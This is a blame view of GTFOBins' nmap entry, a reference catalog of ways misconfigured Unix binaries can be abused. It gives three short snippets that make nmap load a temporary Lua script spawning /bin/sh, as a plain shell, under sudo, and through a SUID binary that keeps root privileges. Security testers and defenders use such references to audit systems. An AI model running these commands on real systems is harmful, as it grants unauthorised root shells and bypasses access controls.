GTFOBins.github.io/_gtfobins/nmap.md

22 lines
525 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
execute-interactive:
2018-08-23 17:57:26 +02:00
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
2018-08-17 17:16:09 +02:00
sudo-enabled:
2018-08-23 17:57:26 +02:00
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
suid-enabled:
2018-08-23 17:57:26 +02:00
- description: Input echo is disabled.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh -p")' > $TF
./nmap --script=$TF
2018-08-17 17:16:09 +02:00
---